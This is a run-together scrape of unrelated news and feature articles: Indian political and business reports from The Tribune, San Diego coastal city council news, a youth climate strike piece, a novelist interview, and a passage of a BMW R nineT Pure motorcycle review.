This initiative was appreciable as it had helped in saving huge expense on paper and unnecessary plying of vehicles during the session. The implementation of e-Constituency Management would prove a pragmatic step towards empowerment of MLAs using information technology, he added.

Speaker Rajiv Bindal said most of the participants were judicial officers, legal advisers, officers of Assemblies and MPs from Sudan.  TNSrchopra@tribunemail.com

Vishal Joshi

Tribune News Service

Kurukshetra, February 12

Prime Minister Narendra Modi on Tuesday said his fight against corruption would be expedited further.

Addressing a gathering at the launch of the next edition of Swachh Shakti-2019 programme here, Modi said there were collective attempts by the political opponents to threaten various constitutional bodies.

He said the faces of mahamilawat (read mahagathbandhan against the BJP) are in a competition among themselves to threaten courts and the CBI and launch abuse Modi campaigns. Jo bhrasth hai, use Modi se kasht hai (the corrupt have a problem with Modi), said the Prime Minister.

Highlighting the states significance in various schemes, he stressed: Major welfare initiatives of my government, including the One Rank, One Pension (OROP) and Beti Bachao, Beti Padhao, were started from Haryana. Also, the first beneficiary under the Ayushman Bharat was also from the state.

He said he was mocked for laying emphasis on building toilets and hygiene in his address from the Red Fort. But I remained unmoved and worked relentlessly in this direction. I am well aware of the hardships faced by women having no toilets in their households. Women have contributed to making Swachh Bharat Abhiyan a success, he said.

Trying to make a direct connect with an estimated 17,000 women Swachhta Champions, including representatives of panchayati raj institutions across the country, Modi said his government had successfully introduced programmes for women empowerment.

Provision of capital punishment in sexual abuse cases, assured availability of cooking gas and a drive to construct toilets are among several initiatives taken by our government. Since 2014, under the Swachh Bharat Abhiyan, nearly 10 crore toilets have been constructed and it enabled women to become construction workers, the field earlier considered as mens profession, he said.

Recognising the leadership role played by rural women in the Swachh Bharat Mission, 12 activists from different states were honoured by the PM. A delegation from Nigeria also attended the function. It is studying the working model of the mission.The Del Mar City Council will add new subcommittees and split an existing one into two groups.

Following discussions at a recent retreat, the council decided Monday, Feb. 11 to add subcommittees for sea level rise, as well as the Watermark and Del Mar Resort projects.

The governing body also agreed to divide the existing railroad subcommittee into two groups: one handling the removal of the rails from the bluffs, and the other focusing on safe rail crossings and bluff stability.

We owe the community... to have a specific item as part of the subcommittee prior to reports, council member Dwight Worden said regarding the rail committees.

The council also grappled with the idea of eliminating the citys existing subcommittees completely but agreed they were needed in the community.

Council member Sherryl Parks said she believes the city would be foolhardy to eliminate them.

Worden said subcommittees are beneficial to residents so they know who to speak to about specific matters.

The council agreed that a subcommittee for sea level rise was needed, especially given pending word from the California Coastal Commission regarding Del Mars local coastal plan and its opposition to managed retreat.

Managed retreat became a hot-button issue last spring as the city wrapped up work on its sea level rise adaptation plan, which was in the works for three years. The concept calls for removing man-made structures such as homes and sea walls in the face of a rising ocean.

Instead, the citys plan calls for a number of measures  such as beach sand replenishment, dredging the mouth of the San Dieguito River and building river levees  to protect the shoreline from flood damage.

The Coastal Commission report is most important, Mayor Dave Druker said at Mondays meeting. If the Coastal Commission accepts the LCP without amendments, then everybody is going to be really happy. ... A whole lot of this subcommittee will probably have to do some hand-holding with the public.

Regarding the groups for the Watermark and Del Mar Resort projects, council member Terry Gaasterland noted both proposed projects have been controversial.

Its pretty clear theres a strong group of the community thats highly concerned, she said.vinaymishra188@gmail.com

The horror of the 2012 Nirbhaya case brought together the whole of India. In a single mass movement, angry young men marched shoulder to shoulder with equally enraged women. The moment was surreal. There was a sense of collective complicity, collective shame. It appeared to be the point of inflection that would, after a hopeless, endless wait, change the destiny of the Indian woman. The unspoken promise rent the air  henceforth, you will be safe. The tragedy hit home when the resolve melted. The moment was lost, in a way many movements are, into the abyss of apathy and spiritlessness.

Ghoulish rapes continue to be reported across India. In Haryana last year, a CBSE topper was gangraped. Expectedly, there was outrage. Expectedly, nothing changed. Punjab saw a repeat of the savagery, when a 21-year-old college girl, accompanied by her male friend, in the safety of a car, was gangraped near its richest city, Ludhiana, also dubbed the states rape capital. The case also brings forth police ineptitude. The police had been alerted, but did not move into action. An ASI has been suspended for dereliction of duty, 10 unidentified persons have been booked. One wonders if this is all the action the case will see. Crime against women is on constant rise, but the conviction rate hovers dolefully low. The 2016 National Crime Records Bureau data reveals that only one in every four cases of rape ends in conviction.

Express action is imperative in crimes of grave nature. Any sign of police laxity emboldens the perpetrators: if they can get away with one crime, why not another? The stakes must be raised very high for criminals. Without the fear of reprisal, it will always be the case of fighting a losing battle. Punjab has done well to open women police stations. But much more must be done. The surveillance system and rapid response teams need to be augmented and strengthened. Systematic training is essential to sensitise the police force, and accountability ought to be pinned. Else, the picture of a womans safety will remain gloomy: she will be let down, over and over again.Salil Desai

Salil Desai

Novelist and Filmmaker

Last week, eminent filmmaker and actor Amol Palekar had to suffer the ignominy of having his speech interrupted several times and then cut off by the organisers of an event at the National Gallery of Modern Art (NGMA), Mumbai, for which he had been invited as chief guest.

Palekar, speaking at the inauguration of a retrospective on the paintings of artist Prabhakar Barwe, was making some critical observations about certain recent decisions by the NGMA, when he was admonished by its director Anita Rupavataram and former chairman of the disbanded advisory committee, painter Suhas Bahulkar. When a perturbed Palekar asked them whether he was being censored from putting across his thoughts, he was advised by curator Jesal Thacker to avoid digressing and restrict his remarks only to Barwes work.

The observations which attracted the ire of the organisers came in the latter half of Palekars speech, when he raised questions about the wisdom of disbanding the NGMAs advisory committee and leaving all decisions to career bureaucrats, thus paving the way for total governmental control on what could or could not be displayed, and hence institutionalising cultural, ideological and political bias of the ruling dispensation.

The organisers made the argument that the inauguration was not an appropriate occasion to strike a sour note and that the uncharitable comments about the host institution were unbecoming of a chief guest. They also hinted that the issues should have been raised by him at a different forum, meaning in private, so that it could have led to a proper exchange of views. Even if one were to accept some substance in these arguments, the shocking part is how openly the hosts sought to silence a man of Palekars stature. In a liberal democracy, is it civilised or courteous to ask a chief guest to shut up when all that Palekar was doing was voicing views about artistic freedom in a reasonable manner? Does it behove officials of an art institution run on public money to insult an exponent of art (incidentally, Palekar himself is a painter, too, apart from being a filmmaker)?

If they were uncomfortable, wouldnt it have been far better for someone to walk up to him and whisper a discreet word into his ears, instead of interrupting him in public? Even better, couldnt the NGMA director and curator have let him have his say and then taken the opportunity to provide counter arguments, say, during the vote of thanks?

Instead the brusque insistence that Palekar shouldnt criticise the decisions of the government  in this case the Union Ministry of Culture that runs the NGMA  indicates either the level of panic among government officials to nip any dissent in the bud, or the regimes clear instructions to bureaucrats to not let an alternative perspective be aired. Either way, it only heightens the growing apprehension that the current dispensation is hell-bent on muzzling artistic freedom and thereby censoring independence of thought. Instead, it believes in using all instruments and institutions of the state in policing and regimenting art, culture, expression and thought.

In that sense, NGMA officials moved a step further in conducting themselves like commissars of a regime rather than public servants.

That this comes so soon on the heels of the cancellation of the Marathi Sahitya Parishads invitation to writer Nayantara Sehgal in January, after it became known that she would speak about the various assaults on artistic freedom by the Modi regime, is a particularly worrying trend.

In fact, there have been far too many instances of this governments intolerance towards artists and intellectuals with liberal sensibilities and those who have dared to express dissent. For instance, the vitriol against Naseeruddin Shah and cancellation of his event at Ajmer Literary Festival, where he had been invited in December. Just prior to that, academic Ramachandra Guhas appointment as director of Ahmedabad Universitys Gandhi Winter School was scuttled through motivated threats and pressure tactics on the management by the ABVP, the BJPs student wing.

What is most unfortunate about all these incidents is that more and more organisations and individuals are succumbing to this calculated assault by the regime, instead of resisting it. Palekar lamented that no one from the audience or any of the artists present stood up for him or asked the organisers to let him continue speaking.

In this bleak atmosphere of silence and compliance, it is heartening to see the brave actions of Principal Hemant Shah and Vice-Principal Mohan Parmar of Ahmedabads HK Arts College this week, who resigned in protest when the trustees of the institution, comprising eminent Padma awardees like Balkrishna Doshi, Kumarpal Desai and Jnanpith awardee Raghuveer Chaudhury, cancelled permission for holding the annual event of the college, just because Dalit activist and independent MLA Jignesh Mewani was invited as chief guest. Mewani happens to be an alumnus of the college.

It is a moot question whether their resignations will change anything, but it shows that someone has a spine and not everyone will roll over. Moreover, the fact is that protest always has the potential of having a salutary effect on authorities. The Palekar incident, for example, has led the ministry to clarify that the local advisory committees of the NGMA were not being disbanded and are just in the process of being reconstituted. Would this have happened if Amol Palekar had stayed silent, like so many others?rchopra@tribunemail.com

Bengaluru, February 13

Japanese auto maker Honda on Wednesday said it would launch the latest version of Civic model in India next month, thus completing its sedan lineup in the country.

With sedans--Amaze, City, Accord and the upcoming Civic--the company will have four products across various price points to cater to a wide range of customers.

Honda, which is present in the country through wholly-owned subsidiary Honda Cars India Ltd (HCIL), will now look at bolstering its presence in other segments, including SUVs.

With Civic, which will be launched next month, we will be completing our sedan lineup in India, HCIL President and CEO Gaku Nakanishi told reporters here.

Honda had discontinued the Civic sedan in India in 2013 after selling around 55,000 units since its launch in 2006.

Elaborating further on the companys future product strategy, HCIL Senior Vice President and Director (Sales and Marketing) Rajesh Goyal said with sedan lineup complete for the time being, the company might now focus at strengthening other body styles as well.

He, however, did not share details about any specific product.

The company had last year said it is evaluating the Indian market to introduce more SUV models.

Since then it has already brought in new version of premium SUV CR-V in the market.

Besides CR-V, the company sells products like WR-V and BR-V to cater to fast growing SUV segment in the country.

Commenting on 10th generation Civic, Nakanishi said it would help in reviving the executive sedan segment for the company.

The executive sedan segment in the country is currently pegged at around 10,000 units per annum, dominated by the likes of Hyundai Elantra, Skoda Octavia and Toyota Corolla.

The all new Civic will be launched with both petrol and diesel power trains, Nakanishi said.

The petrol versions will come with 1.8-litre engine mated with a CVT (automatic) transmission. The diesel trims will come with 1.6-litre engine mated to a manual six-speed transmission.

As per the company, the petrol variants would deliver a fuel efficiency of 16.5 km per litre while the diesel versions would offer fuel efficiency of 26.8 km per litre.

In India, Civic is an aspirational brand. Ever since we showcased it in the last edition of the Auto Expo, there has been a strong anticipation of its launch in the country, Nakanishi said.

The Civic is Hondas best-selling model across the globe. The company has sold over 25 million units of the sedan since 1972.

It is manufactured across 10 factories and sold across over 170 markets globally. PTIeditorial@tribune.com

New Delhi, February 12

The government will launch an additional offering of Bharat-22 Exchange Traded Fund (ETF) on February 14 to raise at least Rs 3,500 crore, officials said today.

The ETF sale would be for a single day, in which both institutional and retail investors can participate, they said.

The additional offering of Bharat-22 ETF would be on February 14. This is an on-tap issuance. The base issue size has been fixed at Rs 3,500 crore, with an option to retain any additional subscription, one of the officials said.

The proceeds from the ETF sale would help the government move towards meeting the Rs 80,000-crore disinvestment target set for the current fiscal.

So far, the government has mopped up approximately Rs 36,000 crore by paring minority stake in public sector companies, and through ETFs.

Conventionally, the follow-on fund offer (FFO) of an ETF remains open for four days in which the first day of the sale is reserved for anchor investors. The next three days are kept open for subscription from retail and other institutional investors.

Since this is an additional on-tap offering of Bharat-22 ETF, the issue would open for a single day for both institutional and retail buyers.

The government has so far raised Rs 22,900 crore through the Bharat-22 ETF. While Rs 14,500 crore was raised in November 2017, another Rs 8,400 crore was raised in June 2018.  PTI

So far, Rs 36,000 crore already mopped up

The base issue size has been fixed at Rs 3,500 crore, with an option to retain any additional subscription

The proceeds from the ETF sale would help the government move towards meeting the Rs 80,000-crore disinvestment target set for the current fiscal

So far, the government has mopped up approximately Rs 36,000 crore by paring minority stake in public sector companies, and through ETFs

.editorial@tribune.com

Balwant Garg

Tribune News Service

Faridkot, February 12

To ensure a voting right to all non-resident Indians (NRIs), including the students on study visa in foreign countries, the police on Tuesday started collecting the passport details of all such persons in the villages of Faridkot.

The police have asked the families to provide the passport details of their members in foreign countries. These details are being collected on the directions of the State Election Commission, police sources said.

Though there is an extensive Punjabi diaspora in different parts of the world and an increasing number of students from the state are going to Australia and Canada on study visa every day, the registration of these NRIs as overseas electors is very low.

As per the information gathered from the Election Commission, till December 15, 2017, a total of 24,348 NRIs were overseas electors and 23,556 of these voters were from Kerala.

About 350 NRI voters are registered in Punjab. As the number of NRI electors in the state is abysmal, the Election Commission wants to give the right to vote to all of them and is collecting details of all NRIs, including students, to make them cast their votes.

The other motive of collecting the details of these NRIs and students is to check misuse or duplicity of their vote in their absence. As of now, NRIsessentially people living or working abroad, who have not given up their Indian citizenshipcan cast their vote in the constituencies they are registered in.

For this, they have to register themselves as voters and then be present on the election day. The hesitation to spend money and travel just to vote is the reason for low enrolment as overseas electors.

The government is also planning to extend proxy voting rights to them on the lines of service voters.

In view of the difficulties faced by the overseas electors, the government has considered the feasibility of facilitating external mode of voting, ie voting by proxy, whereby such electors can exercise their franchise from their place of residence abroad, said a senior functionary of the police department.

Low number of Punjabi overseas electorseditorial@tribune.com

Neeraj Bagga

Tribune News Service

Amritsar, February 12

The state government had announced to develop Amritsar as an information technology (IT) hub years back, a slow pace of work has failed to realise it.

Retired principal Kulwant Singh said like all other projects sanctioned to the city it also met the same fate.

He said it was Union Minister for Electronics and Information Technology, Ravi Shankar Parsad, who had laid the foundation stone of the Software Technology Parks of India (STPI) Centre here on November 7, 2016.

About two years and three months have lapsed but no visible progress took place, he rued.

In actual, the announcement to develop the city as information technology hub went back about four years back, he recalled and added that nothing was done on the ground to realise the plan so far.

The government allocated the land for the purpose at Focal Point, but the project didnt make any headway after it.

Businessman Rajan Bedi said, The holy city as IT hub could be a major game changer for the region as the city is well connected by road, rail and air with various key national and international destinations.

It is well linked to Pakistan by road and rail networks. Besides, it is the gateway to the Central Asian countries like Afghanistan, Turkmenistan, Uzbekistan, Tajikistan Kazakhstan and Kyrgystan, he added.

Notably, these countries are dependent on foreign countries for most of their IT needs.

Industry in Amritsar could be the best IT destination of India as it has international airport, international bus terminal. It is well connected by rail with the rest of the country besides, having 4-6 lane highways to all adjoining towns and cities.Terre Haute, IN (47803)

Today

Thunderstorms likely. High 84F. Winds S at 10 to 20 mph. Chance of rain 70%..

Tonight

Thunderstorms likely this evening. Then a chance of scattered thunderstorms overnight. Low 72F. Winds S at 10 to 15 mph. Chance of rain 80%.Solana Beach has begun taking steps to replace its 75-year-old Marine Safety Center at Fletcher Cove with a larger and safer building more suitable to todays lifeguards and beachgoers.

City staff and the architects behind the project, Domus Studio Architecture, gathered feedback and input from community members at a workshop Feb. 8 regarding the replacement of the structure, which sits atop the bluffs and was built in the early 1940s.

Previously, the city was faced with three options for the structure: renovate it, replace it with temporary modular buildings or build a whole new center. The council decided in 2017 that a new building  while the most expensive choice  would be the best option.

The existing building is poorly laid out, undersized, insufficient and functionally obsolete, according to a 2017 report prepared by the citys staff and consultants. Among the problems: there is only one restroom, which is small and inadequate; a second-floor office is accessible only by a ladder; doors and fixtures are beyond repair; and the buildings foundation is crumbling.

The new building is proposed to be about 4,000 square feet, in one facility or divided between two facilities, the projects designers said. The current center is about 1,480 square feet, but the facility needs to grow in size based on the needs of lifeguards today, city staff added.

City Manager Greg Wade said theyll also look into options to preserve or replicate aspects of the current building, which he noted has value in terms of what it represents to the city.

City Engineer Mo Sammak said one of the problems with the current station is if lifeguards want to go down to the beach for a rescue, they need to loop around to an access point, which means they can lose sight of the person they need to get to. He also noted access to the beach is not ADA compliant and questioned if there was an easier way to get rescuers down there.

Wade said an ADA accessible ramp would eat up much of the nearby park, and the city should focus on the facility instead.

A resident questioned if a stair or other accessway would be a necessity and if that would compromise the effectiveness of the lifeguards.

Marine Safety Captain Jason Shook considered the ability to observe the beach as more of a priority.

Weve done without [stairs] but we are very, very, extremely proactive, Shook said, adding that the city hasnt had an unguarded drowning since the 1980s. We go out of our way to prevent. Were 1,000 percent prevention. Well interact before it becomes an issue. That being said, that cant always happen.

One resident also suggested a terraced lookout for the community to be able to maintain views above the beach.

Council member Judy Hegenauer, who was listening and commenting as part of the community audience, said the city had previously suggested placing part of the station down on the beach and part of it on the bluff. However, she said, because of sea level rise, that is no longer an option. High tide comes up to the toe of the bluff, she noted. She suggested the designers could look into implementing a basement beneath the existing footprint so lifeguards have easier access to the beach.

One resident asked about bluff stability and what that could mean for the location of the center. Jon Dominy, of Domus Studio Architecture, said studies have been done and issues have been identified. He said they need to look more into the details and numbers and continue researching.

He added his firm is planning to work with caissons  watertight retaining structures used as foundations  to help stabilize the building.

The city expects to have a preliminary design of the building done in the next 18 months. Dominy said his firm is planning more community workshops to engage residents in the process.

The construction project also will require the approval of the California Coastal Commission.

The Marine Safety Center houses the citys entire lifeguard staff and equipment, as well as public safety services such as first aid. The building sits atop the bluffs at the edge of Fletcher Cove, which was created in 1924 by one man working with a fire hose over three months to blast a ramp through the sandstone cliffs down to the beach.

The cove opened with a celebration and horse races on the beach on July 4th, 1924, according to the Solana Beach Historical Society.

-- San Diego Union-Tribune reporter Phil Diehl contributed to this report.Close Get email notifications on {{subject}} daily!

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Isaac Avilucea is The Trentonians main municipal scribe. A two-time prior restraint winner and testicular cancer survivor, he relishes his reputation as the "Mean Girls" reporter that followed his 18-day stay at the now-defunct North Adams Transcript.Between the Youth Strike 4 Climate and the Extinction Rebellion, we are in for some serious disruption.

As Alice Cooper noted, "Well we got no choice" and this Friday in the UK, school's out as thousands of students take part in climate protests. It's all inspired by Greta Thurnberg's solo strike, and as grown into a movement. Jake Woodier of the UK Youth Climate Coalition tells the Guardian:

The images of what Greta did and then the huge strikes by schoolchildren in other countries have been widely shared by young people on social media and have really inspired people...Young people see what is happening  especially since the IPCC report last year, which spelled out that we only have 12 years left to avoid catastrophic climate change ... they realise that politicians are nowhere near where they need to be on this and want to do something to change that.



People seem to think this is an issue that can be solved another time, but there is no other time, she said. I know this is a drastic action, this is quite a big step that I am taking, but I do feel strongly that we have to solve it now ... I have to do something.



14-year-old Zoe Bonnett is organizing the strike in Bristol, and tells the Guardian:

 Students striking in Germany/ JOHN MACDOUGALL/AFP/Getty Images

The movement is growing all over Europe, where 70,000 students in 270 towns and cities have been striking. According to Buzzfeed, the movement is being driven almost exclusively by teenage girls and young women, many of whom are rejecting the role of men who have been running the environmental movements in the past.

Nike Mahlhaus, a 25-year-old activist with the German environmental group Ende Gelande (Lands End), said her organization had battled for years to get womens voices into the environmental discussion. It made a deliberate decision to make women spokespeople because media outlets constantly gravitated toward male activists. So often online, she said, she finds herself facing off online with older men whose views get accepted as common sense while she has to defend herself from attacks of being radical or unhinged.



It kind of sounds like the treatment given to a certain American Congressperson and her Green New Deal.

. Students striking in Australia/ Mark Metcalfe/Getty Images

 Students striking in Australia/ Mark Metcalfe/Getty Images

In Australia, the Resources Minister is telling students to go to class and study mining and science.These are the type of things that excite young children and we should be great at it as a nation, he said on radio. The best thing youll learn about going to a protest is how to join the dole queue. This did not go over well. In Belgium, the environment minister had to resign after suggesting that "unknown groups" were behind the movement. She will not be the last who is out of touch with what is happening here.

 Greta on strike in Katowice, Poland/ ABRICE COFFRINI/AFP/Getty Images

The young woman who inspired the movement, Greta Thunberg herself is under attack by climate denying think tanks and media outlets, but she responded on Facebook: "Many people love to spread rumours saying that I have people 'behind me' or that I'm being 'paid' or 'used' to do what Im doing. But there is no one 'behind' me except for myself."

 Student protesting in Switzerland/ FABRICE COFFRINI/AFP/Getty Images

Youth Strike 4 Climate is just one part of a larger wave of climate activism that is happening across Europe, and that will soon spread to North America; older activists are joining the Extinction Rebellion, which is forming chapters all over the continent. You will be hearing more about this in TreeHugger, and just about everywhere else, in the very near future.

 Protesters in Washington, 1967/ Hulton Archive/Getty Images

Sami asked recently: Are citizens finally mobilizing on climate change? The answer appears to be a definitive yes. It's likely that we are about to see a wave of climate activism that's bigger than the Occupy movement, perhaps approaching the scale of the anti-war movements of the sixties, involving every generation. It is as big a battle, it will be as disruptive and divisive, and they are just getting started.A San Diego native and first-time author has imagined Solana Beach as not only the setting of bustling retail, dining and waves but also as the place where a fictional psychopath commits a string of murders.

Geree McDermott Courtesy

Geree McDermott, who now lives in Chile, wrote "The Swirling Red Mist: A Tale of Murder" following a battle with a real killer  cancer.

She began writing the thriller novel in 2013, upon enduring chemotherapy treatments, all the while researching psychopath mentality, police procedures and Solana Beach landmarks. She aimed to make her book so accurate to her setting, in fact, that she studied the city's train schedule to accurately reflect that in the story.

McDermott, who self-published her novel on Sept. 27 through Amazon, recently discussed "The Swirling Red Mist."

For more information and to purchase a copy, visit amzn.to/2MUvntX.

Q: What inspired this story?

A: I was recovering from chemo after losing a breast to cancer and started writing to vent my anger. I started writing a perfect life for myself but it was boring so I researched how to write a thriller suspense, and this is what came out. I wrote most of it in San Diego while caring for my elderly mother. After I finished it, I was worried what people would think of me when they read it because it is about a murderer. But then I realized it was my way of facing my fear of cancer and the way it attacks without warning. Even the bad girl is named Nancy  shortened to Nance  which I was surprised to realized sounds a lot like cancer. So, it is a sort of metaphor for my experience with cancer. But it is about a psychopath who starts killing people who get in her way.

Q: Why did you decide to set it in Solana Beach? How does that setting play into the book? What city features/places are in the book?

A: I lived in Solana Beach for 11 years, and know it better than other cities. I love it. I was able to visit it and get information about the train schedule and other details. Local places? The Belly Up, the train depot, Fletcher's Cove, Carl's Jr., Lomas Santa Fe, South Cedros Avenue. The main characters all live on South Cedros Ave in the design district. Let's see, Nancy goes to Las Colinas briefly and manages to kill a fellow ex-inmate at Mission Bay Park. It starts on the last day of finals at San Diego State University, followed by the Rolling Stones Zip Code Tour concert at Petco Stadium. They have a funeral at Moonlight Beach, followed by dinner at Las Olas.

Q: Did placing the book in a familiar setting make the writing process easier?

A: Yes, I was able to picture the scenes in real places. And, I love reading about stories in familiar places, so I thought Solana Beach would be great. I have never read a book that took place there.

Q: Did you face any difficulties while writing the book?

A: One thing I had trouble with was weapons. All but the final few frenetic murders appear to be accidents. That is how she goes on killing without anyone noticing.

Q: Did you have to do any research for this book?

A: Tons. First, how to write a book. Its not as easy as it sounds. I also had to research on sociopaths and psychopaths, then on police procedures. What happens at Las Colinas? What happens in court? When I went to the Amtrak Solana Beach Station and asked what time the freight trains ran through town, the woman didn't know. A man took me aside to tell me to be quiet so I wouldn't be arrested as a possible terrorist. He then told me the times freight trains go through town.

"The Swirling Red Mist" by Geree McDermott Courtesy

Q: How long did it take you to write the book? When did you start?

A: I started about six months after chemo ended, around the beginning of 2013. A friend sent me a book she had written called Mind Games. In it was a 28-day program to overcome trauma. I later learned she wrote for me specifically. So I did it to please her and I swear on day 29 I awoke feeling free and happy. The therapy was writing about the experience, so I just decided to write a book, and five years later, it was finished enough to publish. I rewrote it numerous times, finally deleted all 'author's voice,' and it reads as one person said, 'like a movie. It is that fast-paced.

Q: What viewpoint is the story told from? Is it told from the psychopath's mind or in third person or by someone else?

A: Interesting you should ask. It is from the perspective of the psychopath. The reader follows her as she commits murder but they never see it coming. It is written in third person, sometimes her friend Riki is the main character but mostly it is Nancy, the killer.

Q: Do you want to continue writing more books?

A: Yes, of course, I have a sequel swimming around in my head. It is summer here in Chile so I have 'writing books' on my winter's project list.The Bayerische Motoren Werke has been busy expanding its R nineT family, and MY2017 saw the addition of the Pure model. At a glance, the Pure is exactly that; a roadster -style model reduced to its absolute essential form with nothing in the way of what you might call superfluous contaminants. BMWs Boxer-Twin provides the power with both standard and optional safety equipment thatll help you keep it dirty-side down. The factory brushed up the aesthetics as well with two new finishes from Beemers Spezial division that really make the sparse sheet metal pop visually.

BMW R nineT Pure Design

The BMW logo in the headlight glass has roots going back almost 100 years. That kind of historical detail really adds to the curb appeal to the people in the know.

Spartan looks are the hallmark of the aptly-named Pure. It starts out bright and early with a minimal front fender riding between blackout fork sliders that also make a connection to the custom culture. That achromatic treatment touches on the frame, drivetrain, rims and the round cyclops headlight can, plus a few more places to keep the bling-factor low, but thats alright. Its not really a flashy ego-machine at the end of the day.

Its such a simple thing, but the BMW logo in the headlight glass has roots going back almost 100 years, and that kind of historical detail really adds to the curb appeal to the people in the know. A single analog clock displays the speed with an LCD screen to cover the other pertinent metrics with a handful of idiot-lights set in the black background to round out the instrumentation and keep the control area as clean as the rest of the machine.

The bars mount directly to the top triple clamp to pull the rider forward over the 4.5-gallon fuel tank into an aggressive sport-riding pose that almost edges into cafe racer territory, just without the associated fairings. Beemer has another variant already dedicated to that particular sub-genre, the Racer.

Compound curves in the large tank give it quite a bit of character with a pair of dimples up front to give the fork tubes some relief and widen the steering arc. Deep knee pockets follow wide shoulders that steer the slipstream around the pilots legs and leave room for you to throw around some body English, plus they create a wane that meets a narrow seat and frame to give you thighs a break when you deploy your training wheels. Thats important since the 31.7-inch standard seat height may tax some of the shorter inseam lengths, but the factory takes pity on the vertically-challenged with a 31.3-inch custom seat and a 30.5-inch Low seat.

An old-school, bench-style seat carries the merest suggestion of a shoulder between pilot and pillion with a set of subframe-mount, flip-up footpegs and a grabstrap to finish out the passengers gear. An LED lightbar serves as the taillight with standoff-style blinkers and an extended mudguard/plateholder to complete the gear in the rear.

The blackout engine area rocks a few bright spots with a model-specific logo stamped into the ram-air inlets and a satin-finish rocker-box cover. Simple, yet tasteful.

BMW R nineT Pure Chassis

Built with customization in mine, the modular steel frame runs with a revised suspension geometry and a bolted-up, three-section architecture that makes it easy to mix, match and modify to suit.

Beemer built the R nineT family with customization in mind, and to that end, the modular steel frame runs with a revised suspension geometry and a bolted-up, three-section architecture that makes it easy to mix, match and modify to suit.

Tracking stability and a neutral cornering response come courtesy of the 58.8-inch wheelbase, 26.6-degree rake angle, and 4.1 inches of trail. Symmetrical 17-inch rims round out the rolling chassis with a cast construction and blackout finish that ties in nicely with the rest of the paint scheme. The hoops are ZR rated, so that should tell you all you need to know about the designed performance envelope, and they run with a 120/70 up front followed by an 180/55 out back.

BMW uses telescopic-hydraulic forks up front rather than its peculiar and distinctive Telelever system, and the stems are pure-D vanilla with a 4.9 inch range of travel. Out back, a cast-aluminum, single-side swingarm relies on a central spring-strut delivers adjustable preload and rebound damping with 4.7 inches of travel.

The anchors are significant with dual, 320 mm discs and a pair of four-bore calipers to bite them up front, and out back, a 265 mm disc and twin-piston caliper takes care of business. ABS comes stock to help you get the most out of the brakes, but thats the extent of the electronic fandanglery on the stock machine.

Frame: Three-section frame consisting of one front and two rear sections, load-bearing engine-gearbox unit, removeable pillion frame for single rider use Front suspension/ Travel: Telescopic forks,  43 mm/4.9 (125 mm) Rear suspension/ Travel: Cast aluminum single-sided swing arm with BMW Paralever; central spring strut, spring pre-load hydraulically adjustable (continuously variable) at handwheel, rebound damping adjustable/ 4.7 (120 mm) Rake: 26.6 Trail: 4.1 (105 mm) Wheels: Cast aluminum wheels Rim, front: 3.50 x 17" Rim, rear: 5.50 x 17 Tire, front: 120/70 ZR 17 Tire, rear: 180/55 ZR 17 Brake, front: Dual 320 mm floating disc brakes, 4-piston calipers Brake, rear: Single 265 mm disc brake, dual-piston floating caliper ABS: BMW Motorrad ABS

BMW R nineT Pure Drivetrain

This engine leaves the fandanglery on the top shelf for the most part, but if you fancy a traction-control system, Beemer offers its Automatic Stability Control as an option.

Beemer powers the thing with its signature Boxer-Twin plant that has roots going all the way back to the 1920s. Its air cooled, so there is no unsightly radiator to mar its clean-and-classy looks, though the factory did throw on an oil-cooler to protect the engines lifeblood.

The Pure features a counter-balancer that mitigates the rocking couple associated with the 180-out firing order, so that pleasant, even engine note feels as good as it sounds. Bore and stroke measure out at 101 mm and 73 mm, respectively, to give the mill a total displacement of 1,170 cc and a relatively warm 12-to-1 compression ratio.

Electronic fuel injection and a triple-action catalytic converter helps the engine meet its Euro-4 obligations and deliver 44 miles per gallon of top-hook pump champagne. What does this get you? Well, the factory claims 110 ponies at 7,750 rpm backed up by 86 pound-feet of torque that top out at six grand.

Power flows through a dry, hydraulically-actuated standard clutch and six-speed, helical-cut gearbox before it heads to the rear wheel via a shaft-type final drive. As usual, Beemer uses the single-side swingarm as a housing for the shaft in a move that protects the final drive and visually cleans up the drivetrain. Oh, and if youre old-school and worried about the old shaft-jacking effect, thats been relegated to the history books where it belongs, and should be considered a non-issue nowadays.

This engine leaves the fandanglery on the top shelf for the most part, but if you fancy a traction-control system, Beemer offers its Automatic Stability Control as an option. Once the power filters through all of the above, you can expect to get at least 125 mph out of it, adjusted for weight, altitude, ambient air temp, etc.

Engine: Air/oil-cooled, 4-stroke flat twin engine with balance shaft, four valves per cylinder, double overhead camshaft, wet sump lubrication Bore x Stroke: 101 mm x 73 mm Displacement: 1,170 cc Rated output: 110 hp (81 kW) @ 7,750 rpm Max. torque: 86 lb-ft (116 Nm) @ 6,000 rpm Compression ratio: 12.0:1 Mixture control / engine management: Electronic fuel injection Emission control: Controlled 3-way catalytic converter, emission standard EU-4 Clutch: Single dry plate clutch, hydraulically operated Gearbox: Constant mesh 6-speed gearbox with helical cut gears Secondary drive: Shaft drive 2.91:1

BMW R nineT Pure Pricing

The least expensive of the R nineT line, MSRP starts at $10k.

The base price for the Catalano Grey sits at $9,995. You can opt for the Spezial paint packages such as the sharp-as-a-tack Black Storm Metallic/Aurum (yellow) or Black Storm Metallic/Light White for another five Benjamins. The ASC is reasonable at $400, and of course, you can spring for the $250 heated grips and all sorts of other goodies from the accessories catalog.

Standard Features: ABS, Adjustable Rear Shock Absorber Rebound, Adjustable Rear Suspension, Spring Preload, Cast Aluminum Wheels, Disc Brakes, LED Tail Light, Modular Frame Concept, Power Socket, Smoked Grey Turn Signal Lenses. Speedometer, Steel Fuel Tank, Steering Damper, Two Section Dual Seat Colors: Catalano Grey, Option 719 Black Storm Metallic/Aurum, Option 719 Black Storm Metallic/Light White Price: $9,995

BMW R nineT Pure Competitors

Maybe its because of the aerial Battle of Britain, but it always feels right to pit a Brit against BMW, so with that in mind, I go to Triumph for its new Speed Twin.

Triumph Speed Twin

The ST draws on equally deep roots to deliver a classic look on an equally clean machine. Blackout treatment makes the same connection to the old-school custom culture, as do the round headlight, twin analog clocks, knee-dent teardrop tank and bench seat. Its liquid-cooled, so there is a radiator to contend with, but the aforementioned blackout all but swallows it up so that its fairly inconspicuous. At least the engine rocks some cooling fins to preserve the illusion even while they radiate heat from the heads to the atmosphere.

